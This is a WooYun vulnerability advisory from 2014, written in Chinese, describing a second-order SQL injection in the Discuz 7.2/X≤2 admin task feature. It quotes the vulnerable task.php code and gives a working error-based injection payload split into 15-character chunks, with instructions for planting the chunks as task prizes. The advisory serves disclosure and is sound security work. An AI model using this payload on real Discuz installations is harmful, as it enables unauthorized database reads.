当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-070394

漏洞标题:discuz 7.2&discuz x<=2 后台注入

相关厂商:Discuz!

漏洞作者: do9gy

提交时间:2014-07-31 17:50

修复时间:2014-10-29 17:52

公开时间:2014-10-29 17:52

漏洞类型:SQL注射漏洞

危害等级:低

自评Rank:5

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-07-31: 细节已通知厂商并且等待厂商处理中
2014-08-01: 厂商已经确认,细节仅向厂商公开
2014-08-04: 细节向第三方安全合作伙伴开放
2014-09-25: 细节向核心白帽子及相关领域专家公开
2014-10-05: 细节向普通白帽子公开
2014-10-15: 细节向实习白帽子公开
2014-10-29: 细节向公众公开

简要描述:

第二发

详细说明:

以dz7.2来说,漏洞位于task.php 57行,

$query = $db->query("SELECT t.*, mt.csc, mt.dateline FROM {$tablepre}tasks t
LEFT JOIN {$tablepre}mytasks mt ON mt.taskid=t.taskid AND mt.uid='$discuz_uid'
WHERE $sql AND t.available='2' $newbieadd ORDER BY displayorder, taskid DESC LIMIT $start_limit, $tpp");
while($task = $db->fetch_array($query)) {
if($task['reward'] == 'magic') {
$magicids[] = $task['prize']; //这里
} elseif($task['reward'] == 'medal') {
$medalids[] = $task['prize'];
} elseif($task['reward'] == 'group') {
$groupids[] = $task['prize'];
}


121行,

if($magicids) {
$query = $db->query("SELECT magicid, name FROM {$tablepre}magics WHERE magicid IN (".implodeids($magicids).")"); //这里
while($magic = $db->fetch_array($query)) {
$magics[$magic['magicid']] = $magic['name'];
}
}


$magicids 参数从数据库中tasks表,prize 取出,这里可以二次注入。
tasks->prize的修改插入权限进对后台管理员开放,所以又一次鸡肋了。
但是到了这里还没结束,仔细看一下prize 为char(15),最多只能存储15个字节,崩溃了。。
不过再仔细看一下代码,峰回路转,绝处逢生,柳暗花明。
原来,$magicids是从tasks列表中取出的数组,然后又进行implodeids拼接。
没错,快使用双截棍哼哼哈嘿!把sql语句拼接一下。。
利用已经构造好的代码:
1')and(select1 from (select count(*),concat(version(),floor(rand(0)*2))x from mysql.user group by x)a)#
按最大长度15分割:
1')and(select/*
*/1 from (/*
*/select/*
*/count(*)/*
*/,concat(/*
*/version(),/*
*/floor(/*
*/rand(0)/*
*/*2))x from/*
*/mysql.user/*
*/group/*
*/by x)a)#
看上去挺不可思议的。测试一下。。。
登录后台,添加任务,这里需要注意三点:
1. 倒序添加
2.选择任务奖励为道具,道具种类需要把select改为input输入以上分割的sql语句(或者抓包改)。
3. 最后一个带有单引号的任务先添加不含有引号的,回到管理界面勾选可用提交后再通过详情加入单引号,否则由于页面sql错误导致无法正常编辑。
保存好以后前台打开

漏洞证明:

2.jpg

修复方案:

过滤

版权声明:转载请注明来源 do9gy@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2014-08-01 09:28

厂商回复:

感谢您提出的问题,我们尽快予以处理

最新状态:

暂无